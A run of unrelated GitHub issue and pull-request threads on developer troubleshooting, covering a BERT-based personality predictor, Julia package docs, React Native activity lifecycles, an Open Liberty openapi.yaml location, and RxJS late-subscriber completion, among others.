Predict personality scores of a new text

Hi.
How can I give a review (a new text) to this model and extract the reviewer's personality?

Hi Fateme,
I think the best approach is to feed the full essays to the model (skip the psycholinguistics features) and then pass your new test sample to the trained model.

Hi,
I'm currently trying to achieve what Fateme was aiming at. However, I'm not exactly sure of the process to accomplish it? Which of the Python script should I use to pass my sample text files (reviews of several users) to the trained model as to extract their personality? Thank you for your help! (and really interesting program)

Hi,
We added a new python file predictor.py to predict personality traits for new text as input. (if you want to pass a file, you can modify this code file easily.)

Hi @saminfatehir
Thanks for uploading predictor.py, it will be very helpful!
Please, I still need to follow all the steps in README to run predictor.py, right?
Thanks!

You need to follow steps 1, 2, and 3 in README. Then you can run predictor.py to predict the personality traits for new input.
python predictor.py

Thank you for the predictor.py file! However, I think there is something wrong with the classifying phase, at least on my side. For instance, asking to classify a random short text from Reddit, such as "We can only fix this in two ways: either we also waive environmental regulations to produce REMs (something I, as an environmentalist, am not wholly against if done responsibly, as we need them to manufacture green technology), or we invest in space mining. We have all the technology we need to mine in space, we just refuse to invest in it because the cost is literally astronomical", is taking forever (around ~1 hour). Is it a normal waiting time?

Hi @Pompiia,
It takes time to create SVM models by essays dataset. If you save the model once you can use them for other times. Now I modified the predictor.py to save the models the first time.
Note that you should run the BERT server in the other terminal like step 2 on README (to get your text embedding).

It's amazing, thank you very much!
However, I'm encountering the following issue: ValueError: X.shape[1] = 3072 should be equal to 3156, the number of features at training time. Could you help me on that matter?

@saminfatehir Hi,
I run the new added predictor.py with my own text (a 72.8Kb txt file) in my lab's computer. I also run the BERT server in the terminal like in step 2 and all workers are ready.  But the output is only to print the text again and it's still running, for around 2 hours. Was the model running well?
Thanks for helping in advance!

Here are my screenshots

Hi @kkkkangx,
The text should get user input. When you run the original predictor.py you'll see this:

Then you should enter your custom text like this and press Enter:

@saminfatehir
Thank you, I will try it. BTW, I wonder how could I save the trained model?

@saminfatehir Hi,
Thank you so much, I have tried and it worked.
I have another question: how could I save the trained model? Because I have over 200 texts to be predicted, I wonder if I can save the trained model and just use it the next time, which could save much time.
Thanks in advance!

predictor.py creates and saves SVM models for the first time and uses them other times.

@saminfatehir Hi,
It worked well. Thank you :)
If I understand correctly, the final output of SVM models is a binary variable, indicating whether the corresponding personality trait displayed in the text.  Are there any problems with my understanding of the final output?
In my project, I want to get the estimated continous probability of a personality trait displayed in my text. So, I changed the  line 150 of predictor.py into predicts = classifier.predict_proba(embeddings4layers)[:,1].  I am not sure if I can get the output I want (i.e. the probability)?
Looking forward to your replying.

Hello,
I'am having trouble on this project. For a long time I've been triying to complete but I did not manage to do it yet.
I followed steps 1, 2, and 3. Then I run predictor.py
I got an error message.

Hi @6wom9 !
I couldn't run the code on my computer, but I could run it on Google Colaboratory, through a Jupyter Notebook (that is a .ipynb file). Here you can find the notebook:
https://github.com/di-press/algorithms_personality/blob/master/text_personality_extractor.ipynb
It is exactly the same code that the authors did, but only adapting it to run on Google Colab. Note that you need to set a GPU on the Colab notebook environment. If you are a little familiar with notebooks or Colab, I think it won't be hard to execute. So, before executing the code, go to:
Edit > Notebook Settings > Hardware Accelerator (select GPU) > Save
Now you have a GPU and are able to run the code. Then do:
Runtime > Run all
And wait. It generally takes easily more than 1 hour. Finally, you have to input the text through the terminal, when you receive the message on the terminal:
"Enter a new text:"
then you paste (or type) in the terminal the text that you want to be analysed. If you need to analyse a lot of text, instead of copying each text to the terminal exhaustively, you need to change predictor.py to parse your own files (this is not a complicated task if you are familiar with Python).
Obs: The last time I ran this code was around 6 months ago, but I think it is still working.  If you have any problems, let me know, please.

What should I do if I want to test Chinese text? Where can I find a suitable Chinese dataset and then test my own dataset?

Hello, I would like to ask if the output result through predictor.py is [0.0, 1.0, 0.0, 0.0, 1.0](EXT, NEU, AGR, CON, OPN), does this mean that the personality represented by this message is NEU and OPN?

I think the output represents both "Neu" and "Opn", not only one. How to run this code? I still can not run this code.

I think the output represents both "Neu" and "Opn", not only one. How to run this code? I still can not run this code.
I did what the blogger said “You need to follow steps 1, 2, and 3 in README. Then you can run predictor.py to predict the personality traits for new input.”. I changed a parameter in step 2, I “changed -num_worker=4” to “-num_worker=1”.

In fact, I couldn't run the code at first, but after a lot of trial and error, it worked.
bert-serving-start -model_dir uncased_L-12_H-768_A-12/ -num_worker=4 -max_seq_len=NONE -show_tokens_to_client -pooling_layer -12 -11 -10 -9 -8 -7 -6 -5 -4 -3 -2 -1

Hi @6wom9 !
I couldn't run the code on my computer, but I could run it on Google Colaboratory, through a Jupyter Notebook (that is a .ipynb file). Here you can find the notebook:
https://github.com/di-press/algorithms_personality/blob/master/text_personality_extractor.ipynb
It is exactly the same code that the authors did, but only adapting it to run on Google Colab. Note that you need to set a GPU on the Colab notebook environment. If you are a little familiar with notebooks or Colab, I think it won't be hard to execute. So, before executing the code, go to:
Edit > Notebook Settings > Hardware Accelerator (select GPU) > Save
Now you have a GPU and are able to run the code. Then do:
Runtime > Run all
And wait. It generally takes easily more than 1 hour. Finally, you have to input the text through the terminal, when you receive the message on the terminal:
"Enter a new text:"
then you paste (or type) in the terminal the text that you want to be analysed. If you need to analyse a lot of text, instead of copying each text to the terminal exhaustively, you need to change predictor.py to parse your own files (this is not a complicated task if you are familiar with Python).
Obs: The last time I ran this code was around 6 months ago, but I think it is still working. If you have any problems, let me know, please.

Hello di-press
The code which you modified, does not work anymore.
from bert_serving.client import BertClient
bc = BertClient()
#print (bc.encode(['First do it', 'then do it right', 'then do it better']))

Code works well until this part of the code. Then I am having following error.
KeyboardInterrupt                         Traceback (most recent call last)
 in ()
1 from bert_serving.client import BertClient
----> 2 bc = BertClient()
3 #print (bc.encode(['First do it', 'then do it right', 'then do it better']))
5 frames
zmq/backend/cython/socket.pyx in zmq.backend.cython.socket.Socket.recv()
zmq/backend/cython/socket.pyx in zmq.backend.cython.socket.Socket.recv()
zmq/backend/cython/socket.pyx in zmq.backend.cython.socket._recv_copy()
/usr/local/lib/python3.7/dist-packages/zmq/backend/cython/checkrc.pxd in zmq.backend.cython.checkrc._check_rc()
KeyboardInterrupt:


Bump version number from "0.1.1-DEV" to "0.1.1"

After merging this, we should register a new version. The docs did not build on 0.1.0, so registering 0.1.1 will build and deploy the stable docs link.
Don't merge this just yet. I want to double-check that the dev docs link is building and deploying on master before we merge this.

I think I may still need to add keys.

I think I may still need to add keys.

Codecov Report

Merging #7 (e737085) into master (3bcd5ed) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master        #7   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            3         3
  Lines           98        98
=========================================
  Hits            98        98

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3bcd5ed...e737085. Read the comment docs.

Codecov Report

Merging #7 (e737085) into master (3bcd5ed) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master        #7   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            3         3
  Lines           98        98
=========================================
  Hits            98        98

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3bcd5ed...e737085. Read the comment docs.

The dev docs are now working: https://chriselrod.github.io/ThreadingUtilities.jl/dev/
So this PR is good to merge once CI is all green.

The dev docs are now working: https://chriselrod.github.io/ThreadingUtilities.jl/dev/
So this PR is good to merge once CI is all green.

Unfortunately, I'm not sure the problem is solved yet, because the timeouts seem random.

Unfortunately, I'm not sure the problem is solved yet, because the timeouts seem random.

CI / Julia ^1.6.0-0 - ubuntu-latest - x64 - pull_request (pull_request) Cancelled after 10m —

CI / Julia ^1.6.0-0 - ubuntu-latest - x64 - pull_request (pull_request) Cancelled after 10m —

Only two timeouts though, that's pretty good!
I'd still merge this though, so we can get a new release out with working docs.

Only two timeouts though, that's pretty good!
I'd still merge this though, so we can get a new release out with working docs.

The PR where I added the asserts keeps passing. =/

The PR where I added the asserts keeps passing. =/


1.0 backports 18-11-06

#6136
#6109
#5760

This change is

test-me-please

test-docs-please

test-missed-k8s

test-me-please

test-docs-please

test-missed-k8s


fix #28 for warning code E241

@SruthiSathya Can you run black  src/test/python_tests/test_code_actions.py looks like it needs to be formatted correctly? You will need to install black formatter in your environment using python -m pip install black.

@SruthiSathya Looks like this branch was deleted by you. Please let me know if you need help with this PR.


feat: add initial renovate configuration

Adds the initial renovate configuration for the organization. When onboarding renovate to a new repository, it should automatically use this config. For existing projects, we can extend the preset manually

Example PR: https://github.com/smg-automotive/eslint-config-pkg/pull/61
will do the other packages after approval

In case you miss "semanticCommits": true:

true is an invalid value for this, it should be enabled. That is why it's not working anywhere
renovate looks at the past 10 commits and decides for itself if the repository uses semantic commits or not and will adjust accordingly

I am not 100% confident that this all works :D and you cannot test it without having it integrated. Especially having multiple extends in the separate config files. But I guess we can adapt if it does not work?.

Maybe worth including a section on how to configure renovate: https://github.com/smg-automotive/au-docs/blob/main/frontend/conventions/new-repository-package.md
This is what we've had before: https://github.com/carforyou/carforyou-docs/blob/master/frontend/new-repository-package.md#renovate-configuration


Added PDF as a target Surface

This was modeled after ImageSurface.  It is missing the rest of the PDF Surface functions at https://www.cairographics.org/manual/cairo-PDF-Surfaces.html
I am unsure if the conversion to ToGlibPtr functions work properly.
I would image Postscript would be similar.

Can't it be generated automatically? Try adding "cairo.PDFSurface" into Gir.toml and then run make gir.

I cannot find any gir files in the cairo repo.
Is the Gir.toml file for cairo  contained within the gtk-rs/gtk repo?

Ah no, sorry! cairo isn't generated automatically... Then it's good, just let me check your code now. :p

Just one last nit. Then I'm waiting for @EPashkin's opinion for your returned Err.

Please remove the last nit and squash your commits, then I merge. Thanks!

I was unsure about the first line, so I added the copyright at the top of pdf_surface.rs, as in image_surface.rs

That's fine too. Thanks a lot!


Capture telemetry data for Graph Explorer preview

We have Graph Explorer preview that we plan to use for experimentation, and it would be great to get usage and error telemetry data of it. The preview version of GE is hosted here: https://developer.microsoft.com/en-us/graph/graph-explorer/preview the telemetry data should be displayed on the same dashboard as the main Graph Explorer
AB#9282

This data is available on the GE Telemetry Power BI dashboard


CASK_INSTALLER sudoers error

MacBook:halyard akerl$ sudo
>>> /etc/sudoers.d/cask_installer: Alias `CASK_INSTALLER' already defined near line 3 <<<
sudo: parse error in  near line 3
sudo: no valid sudoers sources found, quitting
sudo: unable to initialize policy plugin

Caused by #5

Caused by the linked sudoers error


How can I access the angle of a specific joint in the walker model?

Hi, thank you for this wonderful repo!
I'm trying to use the walker model for some RL projects. And I want to access the angles of some specific joints.
I think the observation is a dictionary with a 14-dim orientation array, a 1-dim height array, and a 9-dim velocity array. I also looked at the walker.xml file. But I still don't know the meaning of each element of these arrays. Can anyone give me some advice on that (e.g. which file should I refer to, what is the order of the joints)?
Another issue also discussed the similar topic: https://github.com/google-deepmind/dm_control/issues/453. Seems that we need to calculate the joint angles using orientations of the body parts. But the problems is that in that issue, the observation seems to be 21-dim instead of 14-dim, different from what I obtained using the code below.
r0 = np.random.RandomState(42)
env = suite.load('walker', 'walk', task_kwargs={'random': r0})
state = env.step(action)
obs = state.observation

Any help/discussion is appreciated!

I completely agree with this.
I'm currently struggling with the same issue. I'm eager to use graph neural networks to model this case, so it's crucial for me to understand the meaning of each element in the state information and establish the edges accordingly. I've also checked the walker.xml file, but I still can't confirm the necessary details.


OpenApi UI not showing operations

I use OpenAPI with the mp.openapi.scan.disable=true in the microprofile-config.properties
When I use mvn liberty:dev and looseApplication, so the produced *.war.xml file does not have any
targetInArchive="/META-INF/openapi.yaml" entry.
When I call the OpenApi UI, no operations are found.
When I add to the *.war.xml file a final line like
<file sourceOndisk=" <some_path>/src/main/resources/META-INF/openapi.yaml" targetInArchive="/META-INF/openapi.yaml" I can see the OpenApi UI with my design first openapi.yaml.
Is there a possibility, that I can provide my openapi.yaml in the maven configuration of the plugin or some other way so that the openapi.yaml will be found?

@igbluz As you discovered, the resources folder is not automatically included in the loose app configuration file (*.war.xml). Besides the workaround that you did, you could also try moving the file(s) that you need to the webapp folder which is included automatically.
I will discuss this with my team and see if we can enhance the plugin to handle this scenario in the future.

@igbluz As you discovered, the resources folder is not automatically included in the loose app configuration file (*.war.xml). Besides the workaround that you did, you could also try moving the file(s) that you need to the webapp folder which is included automatically.
I will discuss this with my team and see if we can enhance the plugin to handle this scenario in the future.

Hi Cheryl, thank you for your answer. Would be nice if your team would like the idea with some enhancement for the plugin to configure it with the location of openapi yaml(s), they can also be more than one.  As workaround I wanted to follow your advice but what is the webapp folder, where I find it?  Do you mean somewhere inside a WEB-INF or in target/classes or below some place where liberty is? Any hint is welcome.

Hi Cheryl, thank you for your answer. Would be nice if your team would like the idea with some enhancement for the plugin to configure it with the location of openapi yaml(s), they can also be more than one.  As workaround I wanted to follow your advice but what is the webapp folder, where I find it?  Do you mean somewhere inside a WEB-INF or in target/classes or below some place where liberty is? Any hint is welcome.

@igbluz Sorry I was not more clear. The following is included in the loose app xml file by default and correlates to the src/main/webapp folder in the source application (which contains the WEB-INF folder).
<dir sourceOnDisk=".../src/main/webapp" targetInArchive="/"/>

@igbluz Sorry I was not more clear. The following is included in the loose app xml file by default and correlates to the src/main/webapp folder in the source application (which contains the WEB-INF folder).
<dir sourceOnDisk=".../src/main/webapp" targetInArchive="/"/>

@igbluz So if you move your file to src/main/webapp/META-INF/openapi.yaml it should work automatically. Let me know if you still encounter a problem.

@igbluz So if you move your file to src/main/webapp/META-INF/openapi.yaml it should work automatically. Let me know if you still encounter a problem.

After discussing further with my team, files that should be available at the root of the application (which is what you indicated is needed for this yaml file in the META-INF folder), should be placed in src/main/webapp. That is the recommended solution.
The files in src/main/resources are already copied to the target/classes folder and made available at WEB-INF/classes folder in the loose app xml file.

After discussing further with my team, files that should be available at the root of the application (which is what you indicated is needed for this yaml file in the META-INF folder), should be placed in src/main/webapp. That is the recommended solution.
The files in src/main/resources are already copied to the target/classes folder and made available at WEB-INF/classes folder in the loose app xml file.

@cherylking: Thank you for the hint and discussing the issue with your team. The recommended solution does work. The problem I have is that it does nos match our maven module structure, which is:
project

microprofile (server implementation), does have an depedency to openapi
openapi (generation of server stubs for microprofile)
openapi-client
client

If I want to continue with this structure, the workaround does not work. So I should discard openapi and bring the openapi.yaml into the microprofile/scr/main/webapp. I can do it but I think having a parameter specifying the location of the openapi.yamls would give some more flexibility. What do you think?

@cherylking: Thank you for the hint and discussing the issue with your team. The recommended solution does work. The problem I have is that it does nos match our maven module structure, which is:
project

microprofile (server implementation), does have an depedency to openapi
openapi (generation of server stubs for microprofile)
openapi-client
client

If I want to continue with this structure, the workaround does not work. So I should discard openapi and bring the openapi.yaml into the microprofile/scr/main/webapp. I can do it but I think having a parameter specifying the location of the openapi.yamls would give some more flexibility. What do you think?

@igbluz Can you elaborate on the project structure and maybe include a screenshot? Are these submodules, which part creates the war file, what exactly do you mean by "generation of server stubs for microprofile"? Where is the yaml file currently located?
We definitely are interested in making our build plugins as usable as possible, but having a parameter specific to openapi yaml files seems very specific considering our plugin deals with all sorts of applications that use a wide variety of specifications.

@igbluz Can you elaborate on the project structure and maybe include a screenshot? Are these submodules, which part creates the war file, what exactly do you mean by "generation of server stubs for microprofile"? Where is the yaml file currently located?
We definitely are interested in making our build plugins as usable as possible, but having a parameter specific to openapi yaml files seems very specific considering our plugin deals with all sorts of applications that use a wide variety of specifications.

@igbluz According to the spec, the openapi.yaml file must be located in the application module's root META-INF folder. This is why we recommended placing it in the src/main/webapp/META-INF folder in the war project. Files specified in the src/main/resources folder would never end up in the application module's root. Anything in the resources directory has to be processed as per the maven-resource-plugin prior to being put in the application.
https://download.eclipse.org/microprofile/microprofile-open-api-1.1/microprofile-openapi-spec.html#_location_and_formats

@igbluz According to the spec, the openapi.yaml file must be located in the application module's root META-INF folder. This is why we recommended placing it in the src/main/webapp/META-INF folder in the war project. Files specified in the src/main/resources folder would never end up in the application module's root. Anything in the resources directory has to be processed as per the maven-resource-plugin prior to being put in the application.
https://download.eclipse.org/microprofile/microprofile-open-api-1.1/microprofile-openapi-spec.html#_location_and_formats

@cherylking you are right, the spec defines clear the location of openapi.yaml. I changed our project structure and "cleaned up" a bit. So now I do not have any openapi module, which until today we had the openapi.yaml inside. After speaking to my team we agree to put the openapi.yaml into the microprofile submodule which actually is our application war project, so like this all is together what has to be together. So now my issues is resolved and I have a bit cleaner structure. Thank you for your help.

@cherylking you are right, the spec defines clear the location of openapi.yaml. I changed our project structure and "cleaned up" a bit. So now I do not have any openapi module, which until today we had the openapi.yaml inside. After speaking to my team we agree to put the openapi.yaml into the microprofile submodule which actually is our application war project, so like this all is together what has to be together. So now my issues is resolved and I have a bit cleaner structure. Thank you for your help.


KeyError: 'definitions' error

mit-d3m-ta2 version: 0.0.1.rc1

Description
An error has been reported and needs to be investigated.
According to the reporters, the error shows up consistently after a certain sequence of calls, so the first step will be trying to reproduce it following their instructions.
The complete mit-d3m-ta2 log as well as all the requests and responses can be found here: https://github.com/xphd/mit_test_output/tree/a293879c7149ccbf98249fcc7f7a73ffa7062712
This is the exact traceback around the error:
2019-04-08 18:24:10,086 - 1 - ERROR - _server - Exception calling application: Unresolvable JSON pointer: 'definitions/arguments'
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/jsonschema/validators.py", line 418, in resolve_fragment
    document = document[part]
KeyError: 'definitions'

This does not seem to be an issue any more. Closing for now.


Is sharing ReactInstanceManager across multiple activities broken?

I'm trying to share a ReactInstanceManager singleton across multiple activities. I've wired my ReactInstanceManager instance the my activities life cycle methods, so when ReactActivity.onDestroy is called, the mReactInstanceManager also gets destroyed and then mCurrentReactContext is set to null.
When opening a new activity and instanciating react views with the singelton manager everything works fine. But when I close the second activity with the back button, it's onDestroy() is invoked after onResume() of the first activity. Now when I try to interact with react views i get the following warning message:
03-10 13:35:33.164 1627-1627/com.awesomeproject W/unknown:React: Unable to handle touch in JS as the catalyst instance has not been attached
since mReactInstanceManager.getCurrentReactContext() in handleTouchEvent() returns null.
Is sharing ReactInstanceManager across activities/fragment still supported?
I'm running RN 0.20.0 on Android.
The repro scenario is very simple:
create a react activity (MainActivity). Open another activity from it, and click the back button to go back to the MainActivity.
results: any RN view in MainActivity can't be interacted with.
Logs:
03-10 10:46:10.043 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onCreate
03-10 10:46:10.101 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onStart
03-10 10:46:10.101 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onResume
// Opening second activity
03-10 10:46:48.320 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onPause
03-10 10:46:48.325 10740-10740/com.awesomeproject V/RctActivity[SecondActivity]: onCreate
03-10 10:46:48.328 10740-10740/com.awesomeproject V/RctActivity[SecondActivity]: onStart
03-10 10:46:48.328 10740-10740/com.awesomeproject V/RctActivity[SecondActivity]: onResume
03-10 10:46:48.771 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onStop
// Back button clicked
03-10 10:47:29.772 10740-10740/com.awesomeproject V/RctActivity[SecondActivity]: onPause
03-10 10:47:29.775 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onStart
03-10 10:47:29.775 10740-10740/com.awesomeproject V/RctActivity[MainActivity]: onResume
03-10 10:47:30.105 10740-10740/com.awesomeproject V/RctActivity[SecondActivity]: onStop
03-10 10:47:30.105 10740-10740/com.awesomeproject V/RctActivity[SecondActivity]: onDestroy

@AndrewJack My activities extend ReactActivity, as intended, in this case you can't really prevent the call to ReactActivity.onDestroy().
Seems like this issue was introduced when Add a base activity for React Native apps was merged.

Just make your own ReactActivity

hmm... I feel like that misses the whole point of having a base activity for react native apps.

@AndrewJack I wasn't aware of this, but according to the docs onTerminate is called only on simulator.

This method is for use in emulated process environments.  It will
never be called on a production Android device, where processes are
removed by simply killing them; no user code (including this callback)
is executed when doing so.

Also ReactInstanceManager has a ReactContext which in turn, keeps a hard reference to the Activity (in ReactContext) so not calling onDestroy will result in memory leaks.

@guyca You can just override the onDestroy method of ReactActivity to prevent destroying the instance manager.

@satya164 Thanks for the response. I might be experiencing a brain fart, but how does overriding onDestroy solves this? I would still have to call super.onDestroy

@guyca Yeah, missed that.

@guyca Interesting about onTerminate. Once the process is destroyed everything is destroyed, so unless there is something major we need to tear down this shouldn't be an issue.
onResume sets the current activity, in ReactInstanceManagerImpl & ReactContext
This wouldn't cause a leak as long as every new activity to go to calls onResume, which will set a new current activity. However, if an activity started that didn't call onResume, and the previous activity was destroyed then that activity would leak.
Note: onResume has been renamed to onHostResume in 0.22.

@satya164 are there any planes to address this issue? Should I make a pull request?

@guyca Sure. Ping me when you do.

@satya164 wonderful, will do.

@satya164 here's my take on fixing this issue. What do you think?

Just make your own ReactActivity

I agree.

ReactInstanceManager singleton across multiple activities

This seems like a scenario not many people run into (so far). Until it becomes common I don't think we need to support it in the base class.

@facebook-github-bot answered

Are you fix it?

We have the same issue

We have the same issue

ReactInstanceManager singleton across multiple activities
+1  @mkonicek

Still an issue and no clear solution to it.


Mat 3737

MAT-1337 Correct Model Generation Issues with Extension

Upgrade mongoid to 7.1

Pull requests into cqm-parsers require the following. Submitter and reviewer should :white_check_mark: when done. For items that are not-applicable, note it's not-applicable ("N/A") and :white_check_mark:.
Submitter:

[ ] This pull request describes why these changes were made.
[ ] Internal ticket for this PR:
[ ] Internal ticket links to this PR
[ ] Code diff has been done and been reviewed
[ ] Tests are included and test edge cases
[ ] Tests have been run locally and pass

Reviewer 1:
Name:

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code

Reviewer 2:
Name:

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code

@danmee10 you might have done this already for rails 5 upgrade. I'll wait for you to merge your changes. and update this PR


Add compatibility with LPR model from openvino_training_extensions

license-plate-recognition-barrier-0001 model converted from Caffe and have two input blobs
implementation this LPR model in TensorFlow from openvino_training_extensions have one

Jenkins please retry a build

Jenkins please retry a build

Jenkins please retry a build

@Wovchena

Please, retarget to opencv:develop

Done

Please, updates demo's README.md

I dont see any reason to update readme.md.

Please, update tests for the demo, adding license-plate-recognition-barrier-0007

I will no update tests for nonexistent model.

I dont see any reason to update readme.md.

The demo works with license-plate-recognition-barrier-0007 thanks to this PR.

I will no update tests for nonexistent model.

This is the existent model: https://github.com/opencv/open_model_zoo/blob/develop/models/public/license-plate-recognition-barrier-0007/model.yml. According to source field in this yml, this is the model you refer to in the description of this PR.


Late subscribers to Multicast don't complete

Scenario

Multicast a cold Observable using publish() and refCount() based on a source Observable.
Source Observable notifies COMPLETE.
New subscriber subscribe()s to the multicast observable.

Expected Behavior

Late subscriber immediately receives a COMPLETE notification

Exhibited Behavior

Late subscriber receives no notifications

Rationale

The COMPLETE notification is important to indicate an Observable is in a disposed state, where the Observable contract is discontinued.
The COMPLETE state is communicated as an event. Any eventful system with non-persistent elements will loose state.
Even if the system described above is composed early and retained it is not persistent, because its connectivity is not established until it becomes hot. Therefore there is no communication of the disposed state downstream to the late subscriber.

Example
This .lifecycle() operator specification and implementation.
Test failures
rx-operators/operator/lifecycle.spec.js:101:41
  1) lifecycle lifecycle observable notify COMPLETE should occur when the upstream observable is already COMPLETE

rx-operators/operator/lifecycle.spec.js:180:41
  2) lifecycle downstream observable notify COMPLETE should occur when the upstream observable is already COMPLETE

@bholloway can you post steps to reproduce? Running the following example in requirebin executes correctly:
var Rx = require('rxjs');
var source = Rx.Observable
	.range(0, 10)
	.finally(console.log.bind(console, "unsubscribe"))
	.publish().refCount();

source.subscribe(null, null, console.log.bind(console, "1. done"));
source.subscribe(null, null, console.log.bind(console, "2. done"));

/* prints:
> 1. done
> unsubscribe
> 2. done
*/

Thanks @trxcllnt for your quick response.
I am probably flawed in the technique that I use to trigger next() and complete() using stimulus variable. However here is my example.
http://requirebin.com/?gist=828dd9d724ebb0a1caf4
var Rx = require('rxjs');

// -------------------- A : complete then subscribe : FAIL --------------------------------
// get an observable similar to how we would create a data source
var stimulusA;
var sourceA = Rx.Observable.create(function (instance) {
    stimulusA = instance;
  })
	.publish()
	.refCount();

// hack to ensure that stimulus is assigned for the purposes of this example
sourceA.subscribe().unsubscribe();
console.log('stimulus-A', typeof stimulusA);

// complete then subscribe
stimulusA.complete();
sourceA.subscribe(undefined, undefined, console.log.bind(console, 'complete-A'));

/*
stimulus-A object
*/

// ------------------- B : subscribe then complete : PASS --------------------------------
// get an observable similar to how we would create a data source
var stimulusB;
var sourceB = Rx.Observable.create(function (instance) {
    stimulusB = instance;
  })
	.publish()
	.refCount();

// hack to ensure that stimulus is assigned for the purposes of this example
sourceB.subscribe().unsubscribe();
console.log('stimulus-B', typeof stimulusB);

// subscribe then complete
sourceB.subscribe(undefined, undefined, console.log.bind(console, 'complete-B'));
stimulusB.complete();

/*
stimulus-B object
complete-B
*/

@trxcllnt I think this differs from your example because range() is more like defer() than create().
You will notice in range.ts:57 that the range knows that it is complete and sends complete() to the late subscriber.
Here is a similar implementation with defer() and internal state isDisposed.
http://requirebin.com/?gist=45b2d35782eb4df2b628
var Rx = require('rxjs');

// -------------------- A : complete then subscribe : PASS --------------------------------
// get an observable similar to how we would create a data source
var stimulusA;
var isDisposedA = false;
var commonA = Rx.Observable.create(function (instance) {
    stimulusA = instance;
  })
var sourceA = Rx.Observable.defer(function () {
    return isDisposedA ? Rx.Observable.empty() : commonA;
  })
	.publish()
	.refCount();

// hack to ensure that stimulus is assigned
sourceA.subscribe().unsubscribe();
console.log('stimulus-A', typeof stimulusA);

// complete then subscribe
isDisposedA = true;
stimulusA.complete();
sourceA.subscribe(undefined, undefined, console.log.bind(console, 'complete-A'));

/*
stimulus-A object
complete-A
*/

// ------------------- B : subscribe the complete : PASS --------------------------------
// get an observable similar to how we would create a data source
var stimulusB;
var isDisposedB = false;
var commonB = Rx.Observable.create(function (instance) {
    stimulusB = instance;
  })
  var sourceB = Rx.Observable.defer(function () {
    return isDisposedB ? Rx.Observable.empty() : commonB;
  })
	.publish()
	.refCount();

// hack to ensure that stimulus is assigned
sourceB.subscribe().unsubscribe();
console.log('stimulus-B', typeof stimulusB);

// subscribe then complete
sourceB.subscribe(undefined, undefined, console.log.bind(console, 'complete-B'));
isDisposedB = true;
stimulusB.complete();

/*
stimulus-B object
complete-B
*/

I am suggesting that this is fundamental to the Observable contract.
Perhaps create() is very low level and does not implement this. However, as a subscriber, I am dependent on how well the source Observables are created in whichever 3rd party library I am using.

@bholloway ah, I see what you're trying to do. Rx is working as expected, so let me try to break down what you should do differently (and why) without sounding like a condescending jerk:
Observables are lazy by default, so each time they're subscribed to, their subscribe function (the callback you pass to Observable.create) is called with a new Observer instance. publish (and all other variants of multicast) short-circuit this behavior by inserting a Subject between the source Observable and n Observers. The source Observable thinks there's only one Subscriber (the Subject), and it's the Subject's job to send the source's events to multiple places:
                    |--> observer 1
source --> subject -|--> observer 2
                    |--> ... observer n

refCount stores the number of subscribers, and subscribes/unsubscribes the shared Subject to/from the source when the number of subscribers grows beyond/shrinks to zero. When the line I've marked as subscription 1 executes, refCount is indeed subscribing to your source Observable (writing the Observer to closure state). You're probably thinking that Observer is the shared Subject instance, but it isn't (this is a departure from the RxJS v4 behavior). Since RxJS v5 has merged the Observer and Subscription types into a single type (Subscriber), we have to wrap Subjects inside a Subscriber when they're used as Observers.
 By immediately calling unsubscribe, you're disposing of that Subscriber, which means the Subscriber ignores your subsequent call to complete(), and doesn't forward on the complete to the Subject.
When subscription 2 executes, refCount resubscribes the internal Subject to the source (which also means that stimulusA gets written out again), but the internal Subject hasn't heard anything.
// -------------------- A : complete then subscribe : FAIL --------------------------------
// get an observable similar to how we would create a data source
var stimulusA;
var sourceA = Rx.Observable.create(function (instance) {
    stimulusA = instance;
  })
    .publish()
    .refCount();

// hack to ensure that stimulus is assigned for the purposes of this example
/*subscription 1 */ sourceA.subscribe().unsubscribe(); /* <-- this sets `isUnsubscribed` on the internal Subject */
console.log('stimulus-A', typeof stimulusA);

// complete then subscribe
stimulusA.complete();
/*subscription 2 */ sourceA.subscribe(undefined, undefined, console.log.bind(console, 'complete-A'));

So I'd recommend two changes:

Don't share Observers passed to your Observable's subscribe calls. Observers are memory-isolated, and only safe to reference inside the scope of the subscribe function.
If you need external control over your multicast Observables, create the Subject externally and pass it in via multicast.

var stimulusA = new Rx.Subject();
var sourceA = someSourceObservable
  .multicast(stimulusA)
  .refCount();

stimulusA.complete();
sourceA.subscribe(undefined, undefined, console.log.bind(console, 'complete-A'));
// 'complete-A'

Here's another example in requirebin. It looks like the (order of unsubscription)[https://github.com/ReactiveX/RxJS/blob/master/src/observable/ConnectableObservable.ts#L91] is wrong (should be 1. done, unsubscribe, 2. done), so I'll file a bug against refCount.

Wow that last example is a cool way to get explicit control. Much better than the hack I was doing. I need to finish my unit tests and refactor! Thanks @trxcllnt.
I now see that create() is being called for each subscription. It seems obvious now why the argument is named observer. However the factory nature of defer() led me to expected create() to be called once.
I now see that the Observserables differentiate subscribers. However I don't yet see how defer() is useful - I'm sure it will solve a problem I haven't encountered yet.
To summarise:

Connectivity is driven by subscribe calls on the Observable.
Some Observables will aggregate and otherwise manage upstream subscription to get a certain result (i.e. multicast).
Each operator in the chain adds another layer to _subscribe(), essentially intercepting/decorating the subscription process from end-to-end.
The implementation of the Observable needs to ensure that it maintains the contract for each observer that subscribes.

@bholloway sounds like you're on the right track. My favorite analogy is comparing Observables to functions, but it took me at least a year after I started working with Rx to recognize that.

However the factory nature of defer() led me to expected create() to be called once.

